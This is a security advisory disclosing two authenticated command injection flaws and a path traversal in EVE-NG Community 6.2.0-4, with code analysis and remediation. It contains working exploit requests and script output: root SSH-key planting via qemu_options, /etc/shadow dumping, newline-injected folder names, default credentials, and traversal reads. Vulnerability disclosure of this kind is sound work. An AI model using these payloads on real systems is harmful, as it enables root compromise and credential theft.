Remote Code Execution (RCE) in EVE-NG Community Edition
Legal Notice
PRIDE Security makes no warranties regarding the information contained in this document and assumes no liability for any errors that may be present. Under no circumstances shall PRIDE Security or any of its partners be liable for damages arising from the use of the information described herein. PRIDE Security reserves the right to change or update this content at any time without prior notice.
Summary
PRIDE Security identified two distinct remote code execution (RCE) vectors in EVE-NG Community Edition 6.2.0-4 during an internal penetration test. Both techniques require an authenticated user within the application.
The first vector is a command injection into a node's qemu_options parameter. The value is concatenated into the startup command and executed with root privileges. This represents the reintroduction, in a version outside the scope of the original fix, of the vulnerability documented by CVE-2022-27903, whose fix covered the Community branch only up to version 2.0.3-112.
The second vector is a command injection — with no known public CVE — in the API's directory creation and deletion flow. A folder name containing line breaks interrupts the find ... -exec command assembled by the backend and injects arbitrary instructions, which are executed under the www-data user.
Additionally, the path traversal vulnerability in the /api/export endpoint was exploited to retrieve the output of the injected commands. The flaw, identified as CVE-2025-67442, allows arbitrary reading of files on the host. The report mentions only version 6.4.0-13 of the Professional edition; however, version 6.2.0-4 of the Community edition is also affected.
| Item | Vector 1 | Vector 2 | Confirmation Channel |
|---|---|---|---|
| Class | OS Command Injection (CWE-78) | OS Command Injection (CWE-78) | Path Traversal (CWE-22) |
| Parameter / vector | qemu_options of the node |
name of the folder (line break) |
export path |
| Endpoint | PUT /api/labs/[...]/nodes/{id} + GET /[...]/start |
POST /api/folders + DELETE /api/folders/{path} |
POST /api/export |
| Files | includes/__node.php, includes/cli.php |
includes/functions.php, includes/api_folders.php |
includes/api_labs.php (apiExportLabs) |
| Execution context | root (via sudo unl_wrapper) |
www-data | read as www-data |
| CVE Association | Reintroduction of CVE-2022-27903 | No known CVE | CVE-2025-67442 (Professional edition only) |
| Prerequisite | Authenticated account | Authenticated account | Authenticated account |
| Tested version | EVE-NG Community 6.2.0-4 | EVE-NG Community 6.2.0-4 | EVE-NG Community 6.2.0-4 |
Version Reviewed
| Component | Value |
|---|---|
| Product | EVE-NG Community Edition 6.2.0-4 (released in July 2024) |
| Code Extraction | eve-ng_6.2.0-4_amd64.deb package, extracted from the official eve-ce-prod-6.2.0-4-full.iso |
Introduction
This document describes two remote command execution vectors in EVE-NG Community Edition, both exploitable from an authenticated account within the application. The first is the reintroduction of the CVE-2022-27903 vector in a version not covered by the original fix; the second is a flaw in the folder creation and deletion workflow, for which no public documentation was found.
The threat scenario assumes an attacker in possession of valid credentials for the application — a realistic premise for a tool where access is typically widely distributed among engineering teams and where default credentials are common. Since the end of support and end of life (EOL) for the EVE-NG Community line occurred in June 2026, these vulnerabilities affect a user base that is likely to remain unpatched indefinitely.
Architecture and Attack Surface
EVE-NG (Emulated Virtual Environment – Next Generation) is a network emulation platform widely used in labs, training, and certifications. The nodes (routers, firewalls, virtual switches) run primarily on QEMU/KVM, and orchestration is exposed via a PHP web API served by Apache, with the backend running under the www-data user.
Two architectural aspects contribute to vulnerabilities:
- Privilege escalation via
sudo. The backend runs aswww-data, but privileged operations—such as starting a node or removing a lab—are performed through the/opt/unetlab/wrappers/unl_wrapperwrapper, invoked withsudo. Thus, a command injection inserted into this flow runs with root privileges. - Command construction via concatenation. Several routines assemble the command line by concatenating user-controlled parameters directly into the string, rather than using safe argument passing, and execute it via
exec().
Version identification and relationship to CVE-2022-27903
The application version was determined from the /VERSION endpoint:
GET /VERSION HTTP/1.1
Host: 127.0.0.1
Response:
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 7
6.2.0-4
Version 6.2.0-4 (July 2024) is relevant to the first vector. [CVE-2022-27903] (https://nvd.nist.gov/vuln/detail/CVE-2022-27903), which allows an authenticated remote attacker to execute commands as root, affects EVE-NG Professional up to 4.0.1-65 and EVE-NG Community up to 2.0.3-112.
| CVE-2022-27903 | Vector 1 |
|---|---|
| Documented affected versions: Community up to 2.0.3-112; Professional up to 4.0.1-65. | Present in Community 6.2.0-4 |
| Vector via virtualization parameters (UNL file import) | Vector via qemu_options (PUT node + start) |
| OS Command Injection, execution as root | OS Command Injection, execution as root |
References (version 6.2.0-4, in /opt/unetlab/html/includes/)
| File | Line | Element |
|---|---|---|
__node.php |
1074 | Start of partial processing (parentheses only) |
__node.php |
1109 | Vulnerable return — addslashes(escapeshellcmd(...)) |
cli.php |
1118 | Assembling the start command |
functions.php |
41 | checkFolder() |
api_folders.php |
99 | find ... -exec line |
Vector 1 — RCE as root via qemu_options
Code Analysis
When constructing the command to execute a QEMU node, __node.php concatenates the qemu_options field provided by the user into the $flags variable and returns the command by applying addslashes(escapeshellcmd($flags)). The reversed order of these two functions on line 1109 constitutes the vulnerability.
// /opt/unetlab/html/includes/__node.php (getCommand)
$qoptions = ( $this -> getQemu_options() != "" ) ? $this -> getQemu_options() : ( isset($p['qemu_options']) ? $p['qemu_options'] : "" );
$qoptions = preg_replace ( '/\(/','\(' , $qoptions ); // escapes only (
$qoptions = preg_replace ( '/\)/','\)' , $qoptions ); // escapes only )
[...]
$flags .= ' '.$qoptions;
[...]
//return Array($bin, $flags);
return Array($bin, addslashes(escapeshellcmd($flags)));
Explicit escaping covers only the parentheses. The shell metacharacters ; > < | & are not effectively neutralized due to the order of application:
escapeshellcmdis applied first and prefixes the metacharacter with a backslash:;becomes\;.addslashesis applied next and escapes the backslash:\;becomes\\;.
When executed via exec(), the sequence \\ collapses to a literal backslash, and the ; is reinterpreted by the shell as a command separator. The same applies to > < | &.
Execution Context
cli.php retrieves the command via getCommand() and appends it to the final line executed by the wrapper:
// /opt/unetlab/html/includes/cli.php
list($bin, $flags) = $n -> getCommand();
[...]
if ( $n -> getNType() != 'docker' && $n -> getNType() != 'vpcs') {
$cmd .= ' -- '.$flags.' > '.$n -> getRunningPath().'/wrapper.txt 2>&1 &';
}
[...]
exec($cmd, $o, $rc);
Since the node is started via sudo unl_wrapper, the command injected via $flags runs with root privileges.
Proof of Concept
The payload was inserted into the qemu_options field while editing the node, creating /root/.ssh/authorized_keys with a public key controlled by the attacker:
PUT /api/labs/teste.unl/nodes/1 HTTP/1.1
[...]
Content-Type: application/json;charset=UTF-8
{"id": 1, 'qemu_options': "& echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDtnXe0ZJfrurjbjI39swcFO32vqJN/4CdlACbDL17lM POC >> /root/.ssh/authorized_keys ; true", 'ro_qemu_options': "-machine type=pc,accel=kvm -serial mon:stdio -nographic -no-user-config -nodefaults -display none -vga std -rtc base=utc"}
Answer:
HTTP/1.1 201 Created
[...]
{"code":201,"status":"success",'message':"Lab has been saved (60023)."}
Initializing the node triggers the execution of the payload:
GET /api/labs/teste.unl/nodes/1/start HTTP/1.1
[...]
The flow returns an application error (500, Undefined array key 143 in api_nodes.php), but the injected command is executed before the error occurs.
Exploitation using the eveng_rce.py script
The exploitation workflow—editing qemu_options, starting the node, and confirming execution — is consolidated into the eveng_rce.py script, available in the repository. The example below injects a command as root and reads the result via /api/export:
python3 eveng_rce.py --url http://127.0.0.1:8081 --lab "/teste.unl" --node 1 --qemu-cmd "cat /etc/shadow > /tmp/eve_proof"
[*] HTTP login 200 -> OK
======================================================================
VECTOR 1 - RCE as ROOT via qemu_options + starting from no
======================================================================
[*] Lab=/teste.unl node=1
[*] qemu_options payload: '& true ; cat /etc/shadow > /tmp/eve_proof ; true'
[i] node.type=qemu current qemu_options='-machine type=pc,accel=kvm -vga std -usbdevice tablet -boot order=cd -cpu host'
[*] Stopping no (to re-read qemu_options at startup)...
[*] Editing no's qemu_options...
edit qemu_options -> HTTP 201: {"code":201,"status":"success",'message':"Lab has been saved (60023)."}
[*] Starting the node (triggers exec() as root)...
start -> HTTP 200: {"code":200,"status":"success",'message':"Node started (80049)."}
[*] Waiting 8 seconds for the wrapper/qemu to run the command...
[*] Reading /tmp/eve_proof back via /api/export...
===== CONTENTS OF /tmp/eve_proof =====
root:*:20746:0:99999:7:::
daemon:*:20746:0:99999:7:::
bin:*:20746:0:99999:7:::
sys:*:20746:0:99999:7:::
sync:*:20746:0:99999:7:::
games:*:20746:0:99999:7:::
man:*:20746:0:99999:7:::
lp:*:20746:0:99999:7:::
mail:*:20746:0:99999:7:::
news:*:20746:0:99999:7:::
uucp:*:20746:0:99999:7:::
proxy:*:20746:0:99999:7:::
www-data:*:20746:0:99999:7:::
backup:*:20746:0:99999:7:::
list:*:20746:0:99999:7:::
irc:*:20746:0:99999:7:::
gnats:*:20746:0:99999:7:::
nobody:*:20746:0:99999:7:::
_apt:*:20746:0:99999:7:::
mysql:!:20759:0:99999:7:::
uml-net:*:20759:0:99999:7:::
tcpdump:*:20759:0:99999:7:::
unl0:!:20759:0:99999:7:::
====================================================
[+] ROOT RCE CONFIRMED: file created by start.
[*] Restoring state: stop + original qemu_options...
restore -> HTTP 201
The command is executed as root (via sudo unl_wrapper), but the readback is performed by www-data through the path traversal vulnerability.
Vector 2 — Command Injection via Folder Operations
No public documentation or CVE describing this vector was found; the flaw lies in the API's folder creation and deletion operations.
Code Analysis
Deleting a folder (DELETE /api/folders/{path}) constructs a find ... -exec ... command by concatenating the path (without quotes) and executes it via the shell:
// /opt/unetlab/html/includes/api_folders.php (apiDeleteFolder)
$rc = checkFolder(BASE_LAB.$path);
[...]
$cmd = 'find '.BASE_LAB.$path.' -name "*.unl" -exec sudo /opt/unetlab/wrappers/unl_wrapper -a delete -F "{}" -T 0 \;';
exec($cmd, $o, $rc);
Path validation is performed by checkFolder(), whose regular expression accepts the \s class, which includes the newline character (\n):
// /opt/unetlab/html/includes/functions.php
function checkFolder($s) {
if (preg_match('/^\/[\/A-Za-z0-9_\s-]*$/', $s) && is_dir($s)) {
return 0;
}
[...]
}
Since the command is executed by /bin/sh, a \n in the path terminates the find line and injects a subsequent command, which is executed under the www-data user.
Directory Existence Prerequisite
checkFolder() also requires is_dir($s); the directory with the malicious name must exist on disk. This requirement is met by creating a folder, whose name parameter is not validated and is passed directly to mkdir():
// /opt/unetlab/html/includes/api_folders.php (apiAddFolder)
mkdir(BASE_LAB.$path.'/'.$name);
The attacker first creates a folder whose name contains line breaks and the command to be injected, and then requests its deletion, triggering the execution.
Proof of Concept
The payload exploits the permissive filter in checkFolder (which accepts \s, including \n) combined with apiDeleteFolder, which constructs a find ... -exec command using the path without quotes. A folder name containing \n<command>\n injects the command as a single line, which is executed at the time of the delete operation.
1. Authentication using the default credentials (admin/eve), saving the session cookie in a cookie jar:
curl -sS 'http://127.0.0.1:8081/api/auth/login' \
-X POST \
-H 'Content-Type: application/json;charset=UTF-8' \
-H 'X-Requested-With: XMLHttpRequest' \
-c cookies.txt \
--data-raw '{"username":"admin","password":"eve",'html5':"-1"}'
Response:
{"code":200,"status":"success",'message':"User logged in (90013)."}
2. Creating a folder with a malicious name (poc, sleep 15, x separated by \n), reusing the cookie:
curl -sS 'http://127.0.0.1:8081/api/folders' \
-X POST \
-H 'Content-Type: application/json;charset=UTF-8' \
-H 'X-Requested-With: XMLHttpRequest' \
-b cookies.txt \
--data-raw '{"path":"/",'name':"poc\nsleep 15\nx"}'
Response:
{"code":200,"status":"success",'message':"Folder has been created (60014)."}
3. Excluding the folder, measuring the response time. Line breaks are encoded as %0A and spaces as %20 in the URL. The -w option in curl prints the total time; the shell's time command serves as a second measurement:
time curl -sS --path-as-is \
'http://127.0.0.1:8081/api/folders/poc%0Asleep%2015%0Ax' \
-X DELETE \
-H 'X-Requested-With: XMLHttpRequest' \
-b cookies.txt \
-o /dev/null \
-w 'HTTP %{http_code} | total time: %{time_total}s\n'
Output:
HTTP 200 | total time: 15.023370s
real 0m15.036s
user 0m0.003s
sys 0m0.005s
The response time of ~15s—compared to the milliseconds of a typical DELETE—confirms that the injected sleep 15 was executed on the server while processing the DELETE.
Exploiting Vector 2 with the eveng_rce.py script
The --exec option creates a folder whose name contains the line break and the command, triggers the deletion to initiate the injection, executes the command as www-data, and reads the output back via /api/export:
python3 eveng_rce.py --url http://127.0.0.1:8081 --lab "/teste.unl" --exec id
[*] HTTP login 200 -> OK
======================================================================
VECTOR 2 - RCE as www-data via folder deletion
======================================================================
[*] Target command: 'logsave /tmp/o452e15 id'
[*] Chain of 3 folders created. Triggering DELETE (injection)...
delete=HTTP200 time=0.07s
[*] Reading output to /tmp/o452e15 via /api/export ...
===== COMMAND OUTPUT =====
Log of id
Fri Oct 16 18:01:45 2026
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Fri Oct 16 18:01:45 2026
----------------
====================================================
The command is executed as www-data, and the output is retrieved via the path traversal vulnerability. Vector 2 restricts the characters allowed in the path to letters, numbers, _, -, /, and whitespace characters recognized by \s, including line breaks. This restriction limits the syntax of injected commands but does not prevent their execution.
Confirmation Channel — Path Traversal in /api/export (CVE-2025-67442)
The two previous RCEs are blind: the HTTP response does not return the output of the injected command. To circumvent this, the vulnerability described in CVE-2025-67442 was used to read back any files written by the RCEs.
Code Analysis
In Community version 6.2.0-4, the apiExportLabs function (includes/api_labs.php) calls chdir() to BASE_LAB plus the path from the body and, for each element to be exported, constructs a command zip <file> ".<element>" without checking for .. sequences or normalizing the resulting path. The command is executed via the shell, and it is the zip command itself that resolves ../ relative to the current directory, reading and packaging files outside the labs directory, anywhere in the file system accessible to www-data. The response does not include the ZIP file: it returns, in the data field, the URL of the file generated at /Exports/unetlab_export-<data>.zip, from which the client downloads it using a GET request.
The vulnerability corresponds to CVE-2025-67442. The CVE entry mentions only EVE-NG Professional 6.4.0-13, but the vulnerable code is also present in the Community edition: version 6.2.0-4 exhibits the same behavior.
Proof of Concept
In the request body, path defines the base export directory, the element "0" references an existing lab, and the element "1" contains the path with the traversal sequence to the target file:
POST /api/export HTTP/1.1
Content-Type: application/json;charset=UTF-8
[...]
{"path":"/","0":"/teste.unl",'1':"/../../../../../../etc/passwd"}
The response returns the URL of the generated ZIP file:
HTTP/1.1 200 OK
{"code":200,"status":"success",'data':"/Exports/unetlab_export-20261016-153000.zip"}
The file can be downloaded from the URL in the response above:
GET /Exports/unetlab_export-20261016-153000.zip HTTP/1.1
[...]
Combined with RCEs, the workflow is: inject a command that writes its output to a location readable by www-data and retrieve that file via /api/export.
Exploit Chain Diagram

Remediation and Recommendations
Code Fix
- Eliminate command construction via string concatenation by adopting argument-based execution (argument array, no shell), so that user input is never interpreted as shell syntax.
- If
escapeshellcmd/escapeshellargare retained, applyescapeshellargto the individual value and remove the overlaid call toaddslashes; theaddslashes(escapeshellcmd(...))construct must be removed. - Validate
qemu_optionsagainst an allowlist of expected options and characters, rejecting shell metacharacters rather than attempting to escape them. - In
checkFolder(), replace the\sclass with a set that excludes newlines and control characters (e.g.,[A-Za-z0-9_ -]), and validate thenameparameter inapiAddFolder()with the same strictness applied topath. - Pass paths to
find/rmas safe arguments, without shell string interpolation. - In
apiExportLabs, normalize paths usingrealpath()and verify that the resolved path remains within the authorized directory. Thus, reject any attempt to export outside this boundary.
Operational Mitigations
- Restrict access to the EVE-NG interface and API to trusted management networks and a minimal set of users.
- Replace default credentials and enforce strong authentication.
- Monitor unexpected executions originating from
www-data/wrappersand the creation of folders with anomalous names.
Reproduction Environment
A lab environment—Dockerfile, docker-compose.yml, database schema, entrypoint, and the PoC (eveng_rce.py) — is available in the eveng_rce repository.
References
- CVE-2022-27903 — NVD
- CVE-2025-67442 — NVD
- EVE-NG
/api/exportpath traversal — advisory (XunMInt) - GitHub Security Advisory GHSA-qqr8-hrr4-phvx
- EVE-NG Community — download and release notes
- CWE-78: Improper Neutralization of Special Elements Used in an OS Command
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory